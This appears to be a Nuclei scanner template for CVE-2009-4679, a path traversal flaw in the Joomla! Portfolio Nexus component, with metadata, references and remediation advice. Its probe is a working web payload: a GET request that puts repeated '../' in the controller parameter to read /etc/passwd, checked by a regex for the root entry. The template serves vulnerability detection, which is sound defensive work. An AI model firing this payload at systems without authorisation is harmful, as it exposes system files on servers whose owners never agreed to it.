id: CVE-2009-4679 info: name: Joomla! Portfolio Nexus - Remote File Inclusion author: daffainfo severity: high description: | Joomla! Portfolio Nexus 1.5 contains a remote file inclusion vulnerability in the inertialFATE iF (com_if_nexus) component that allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system. remediation: | Apply the latest security patches and updates provided by Joomla! to fix the Remote File Inclusion vulnerability. reference: - https://www.exploit-db.com/exploits/33440 - https://nvd.nist.gov/vuln/detail/CVE-2009-4679 - http://www.exploit-db.com/exploits/10754 classification: cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P cvss-score: 7.5 cve-id: CVE-2009-4679 cwe-id: CWE-22 epss-score: 0.00826 epss-percentile: 0.79974 cpe: cpe:2.3:a:inertialfate:com_if_nexus:1.5:*:*:*:*:*:*:* metadata: max-request: 1 vendor: inertialfate product: com_if_nexus tags: cve,cve2009,joomla,lfi,nexus,edb,inertialfate http: - method: GET path: - "{{BaseURL}}/index.php?option=com_kif_nexus&controller=../../../../../../../../../etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a004730450221008b806c6b509027ab419fab38023c2270cef1e3f60dc3b633fcacb5f8983dd8cf02205a10ec21151ba918555d2ea46f2e687dc5d87cec0d39ebc0a0b57409e230999f:922c64590222798bb761d5b6d8e72950